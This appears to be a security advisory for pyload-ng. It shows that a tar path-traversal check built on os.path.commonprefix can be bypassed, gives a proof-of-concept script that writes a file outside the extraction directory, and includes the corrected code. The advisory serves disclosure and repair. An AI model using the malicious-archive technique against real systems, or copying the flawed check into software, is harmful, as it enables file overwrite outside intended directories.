pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)